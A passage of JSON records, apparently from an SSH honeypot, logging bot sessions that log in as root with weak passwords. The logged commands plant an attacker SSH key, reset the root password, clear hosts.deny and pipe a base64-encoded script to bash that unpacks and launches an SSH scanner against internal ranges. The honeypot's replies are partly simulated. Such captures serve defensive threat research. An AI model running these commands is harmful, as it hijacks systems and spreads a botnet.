sleep;"},{"seq":7,"at":"2026-08-23T19:03:33.633530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T19:03:33.635997+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T19:03:33.661100+00:00","kind":"output","latency_ms":570,"data":""},{"seq":10,"at":"2026-08-23T19:03:33.906392+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T19:03:34.563171+00:00","kind":"output","latency_ms":657,"data":"15888 3921 11967 102 0 0"},{"seq":12,"at":"2026-08-23T19:03:34.837132+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T19:03:35.645799+00:00","kind":"output","latency_ms":814,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /bin/ls"},{"seq":14,"at":"2026-08-23T19:03:35.919464+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T19:03:35.921396+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T19:03:36.191386+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T19:03:36.193069+00:00","kind":"output","latency_ms":null,"data":" 19:03:36 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T19:03:36.489379+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T19:03:36.493077+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T19:03:36.785302+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T19:03:36.788087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T19:03:37.061291+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T19:03:37.063259+00:00","kind":"output","latency_ms":null,"data":"top - 19:03:37 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T19:03:37.333365+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T19:03:37.337069+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T19:03:37.610721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T19:03:37.613063+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T19:03:37.885107+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T19:03:37.887323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T19:03:38.161099+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T19:03:40.046170+00:00","kind":"output","latency_ms":1885,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T19:03:40.321074+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T19:03:41.030143+00:00","kind":"output","latency_ms":710,"data":"24G"},{"seq":34,"at":"2026-08-23T19:03:41.907432+00:00","kind":"input","latency_ms":null,"data":"echo \"root jimmy123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T19:03:42.184515+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T19:03:42.962138+00:00","kind":"output","latency_ms":778,"data":""},{"seq":37,"at":"2026-08-23T19:03:43.115424+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T19:03:43.640319+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T19:03:43.914888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T19:03:44.438516+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T19:03:44.714095+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T19:03:44.984079+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T19:03:45.544151+00:00","kind":"output","latency_ms":560,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T19:03:45.817925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T19:03:47.404749+00:00","kind":"output","latency_ms":1588,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T19:03:47.684221+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T19:03:48.314587+00:00","kind":"output","latency_ms":630,"data":""},{"seq":48,"at":"2026-08-23T19:03:55.918118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T19:03:55.921100+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"jimmy123","method":"password","accepted":true,"tier":"other"}]} {"id":"bdaf581a-cda9-473b-b316-93f54c67069b","name":"foggy-cunning-pipit","protocol":"ssh","channel_kind":"exec","src_ip":"41.63.62.103","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":917,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:46:37.478805+00:00","ended_at":"2026-08-23T13:46:37.768414+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3538,"events":[{"seq":1,"at":"2026-08-23T13:45:50.236533+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:45:50.752198+00:00","kind":"output","latency_ms":515,"data":""},{"seq":3,"at":"2026-08-23T13:45:51.153156+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-23T13:45:58.682396+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T13:45:58.684126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T13:45:59.598584+00:00","kind":"input","latency_ms":null,"data":"echo \"root:f58S3b4piUHA\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T13:46:00.026195+00:00","kind":"output","latency_ms":427,"data":""},{"seq":8,"at":"2026-08-23T13:46:00.514328+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T13:46:01.430090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T13:46:01.430487+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T13:46:02.356629+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T13:46:03.293182+00:00","kind":"output","latency_ms":935,"data":"15888 9874 6014 194 0 3870"},{"seq":13,"at":"2026-08-23T13:46:04.213321+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T13:46:04.747125+00:00","kind":"output","latency_ms":534,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T13:46:05.664654+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T13:46:05.666089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-23T13:46:06.583149+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T13:46:06.584050+00:00","kind":"output","latency_ms":null,"data":" 13:46:06 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T13:46:07.501419+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T13:46:07.501883+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T13:46:08.418518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T13:46:08.419115+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T13:46:09.337183+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T13:46:09.338094+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:09 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T13:46:10.248775+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T13:46:10.250630+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T13:46:11.166120+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T13:46:11.168092+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T13:46:12.082691+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T13:46:12.084280+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T13:46:13.001613+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T13:46:13.517118+00:00","kind":"output","latency_ms":515,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-23T13:46:14.434482+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T13:46:14.921611+00:00","kind":"output","latency_ms":487,"data":"24G"},{"seq":35,"at":"2026-08-23T13:46:17.561781+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123456789*\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T13:46:18.480484+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T13:46:18.865146+00:00","kind":"output","latency_ms":383,"data":""},{"seq":38,"at":"2026-08-23T13:46:21.809442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:46:22.281149+00:00","kind":"output","latency_ms":470,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:46:23.207519+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:46:23.825193+00:00","kind":"output","latency_ms":616,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T13:46:24.753780+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T13:46:25.676252+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:46:26.160119+00:00","kind":"output","latency_ms":482,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:46:27.078679+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T13:46:27.590156+00:00","kind":"output","latency_ms":510,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T13:46:28.508842+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T13:46:37.482203+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T13:46:37.483707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123456789*","method":"password","accepted":true,"tier":"other"}]} {"id":"a8a8dac7-e250-4c2b-8d5a-3dd11cce1446","name":"salty-whispering-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"192.169.201.223","src_port":33562,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":224,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T08:15:44.521354+00:00","ended_at":"2026-08-23T08:15:44.584189+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4126,"events":[{"seq":1,"at":"2026-08-23T08:14:13.020190+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T08:14:13.242114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T08:14:15.830869+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T08:14:15.831938+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T08:14:16.055248+00:00","kind":"input","latency_ms":null,"data":"echo \"root:u1UXnBrj45GV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T08:14:16.280758+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T08:14:16.502391+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T08:14:16.503149+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T08:14:16.726804+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T08:14:17.215754+00:00","kind":"output","latency_ms":488,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T08:14:17.440254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T08:14:17.994071+00:00","kind":"output","latency_ms":553,"data":"-rwxr-xr-x 1 root root 148K Jan 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T08:14:18.217854+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T08:14:18.218527+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T08:14:18.441183+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T08:14:18.441691+00:00","kind":"output","latency_ms":null,"data":" 08:14:18 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T08:14:18.665082+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T08:14:18.665509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T08:14:18.889945+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T08:14:18.890408+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T08:14:19.113770+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T08:14:19.114422+00:00","kind":"output","latency_ms":null,"data":"top - 08:14:19 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T08:14:19.337831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T08:14:19.338576+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T08:14:19.562576+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T08:14:19.563142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T08:14:19.786805+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T08:14:19.787323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T08:14:20.011093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T08:14:21.034007+00:00","kind":"output","latency_ms":1021,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T08:14:21.259055+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T08:14:21.725842+00:00","kind":"output","latency_ms":466,"data":"24G"},{"seq":33,"at":"2026-08-23T08:14:22.437477+00:00","kind":"input","latency_ms":null,"data":"echo \"root sc@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T08:14:22.660634+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T08:14:23.067790+00:00","kind":"output","latency_ms":405,"data":""},{"seq":36,"at":"2026-08-23T08:14:23.410153+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T08:14:24.006648+00:00","kind":"output","latency_ms":596,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":38,"at":"2026-08-23T08:14:24.309454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T08:14:24.888827+00:00","kind":"output","latency_ms":578,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":40,"at":"2026-08-23T08:14:25.400742+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T08:14:25.877774+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T08:14:26.475715+00:00","kind":"output","latency_ms":597,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":43,"at":"2026-08-23T08:14:27.006845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T08:14:27.610182+00:00","kind":"output","latency_ms":602,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":45,"at":"2026-08-23T08:14:28.081112+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T08:14:28.548309+00:00","kind":"output","latency_ms":465,"data":""},{"seq":47,"at":"2026-08-23T08:15:44.522419+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T08:15:44.523412+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"sc@123","method":"password","accepted":true,"tier":"other"}]} 